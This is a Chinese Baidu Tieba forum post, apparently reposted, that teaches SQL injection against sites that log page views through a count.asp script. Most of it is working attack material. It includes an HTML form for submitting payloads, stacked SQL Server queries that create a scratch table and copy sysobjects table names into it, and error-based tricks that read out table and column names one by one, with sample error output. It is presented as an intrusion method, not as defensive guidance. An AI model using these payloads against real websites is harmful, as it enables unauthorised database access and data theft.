网页资讯视频图片知道文库贴吧地图采购
进入贴吧全吧搜索

 
 
 
日一二三四五六
       
       
       
       
       
       

签到排名:今日本吧第个签到,

本吧因你更精彩,明天继续来努力!

本吧签到人数:0

一键签到
成为超级会员,使用一键签到
一键签到
本月漏签0次!
0
成为超级会员,赠送8张补签卡
如何使用?
点击日历上漏签日期,即可进行补签。
连续签到:天  累计签到:天
0
超级会员单次开通12个月以上,赠送连续签到卡3张
使用连续签到卡
09月02日漏签0天
马鞍中学吧 关注:3,835贴子:373,255
  • 看贴

  • 图片

  • 吧主推荐

  • 视频

  • 游戏

  • 0回复贴,共1页
<<返回马鞍中学吧
>0< 加载中...

网站SQL脚本注入的不常见方法

  • 只看楼主
  • 收藏

  • 回复
  • cycrian
  • 小有名气
    4
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
☆ 全站文章系统采用FSO静态生成的HTML文件来显示,这样做的好处一来可以减轻服务器负担,提高访问速度。二是阻止SQL注入式的攻击... 

文章系统原理: 
全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。 
攻击方法:查看源文件,里面是否有通过JS来调用页面。 
如调用<script language="javascript" src="count.asp?id=1552"></script>来更新文章的浏览次数。 

我们就可以来试一下可否注入: 
http://服务器域名/count.asp?id=1552’ 
看是否出错。如出错说明有注入漏洞,可采取正常攻击。 

在本机建立一个post.htm的文件和log.txt的文本文件(用于记录用) 

post.htm内容:方便输入… 
复制内容到剪贴板代码: 
<iframe name=p src=# width=800 height=350 frameborder=0></iframe><br><form action=http://test.com/count.asp target=p> 
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--" style="width:750"> 
<input type=submit value=">>>"> 
<input type=hidden name=fno value="2, 3"> 
</form> 
对于SQL SERVER服务器可以这样判断:在1552后加一分号,如正常可能是SQL SERVER对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));-- 

然后插入一条记录:id=1552;insert into aaa values(’test’);-- 

再之后枚举出他的数据表名: 

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);-- 

这是将第一个表名更新到aaa的字段处。 

id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’, 将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。   

/search.asp,行21 

其中vote就是表名: 

也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。 

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。 

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);-- 

然后id=1552 and exists(select * from aaa where aaa>5)读出第二个表,一个个的读出,直到没有为止。 

读字段: 

id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));-- 

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名。 

……类推……  

所属分类: 数据库注入   所属专题: 



登录百度账号

扫二维码下载贴吧客户端

下载贴吧APP
看高清直播、视频!
  • 贴吧页面意见反馈
  • 违规贴吧举报反馈通道
  • 贴吧违规信息处理公示
  • 0回复贴,共1页
<<返回马鞍中学吧
分享到:
©2025 Baidu贴吧协议|隐私政策|吧主制度|意见反馈|网络谣言警示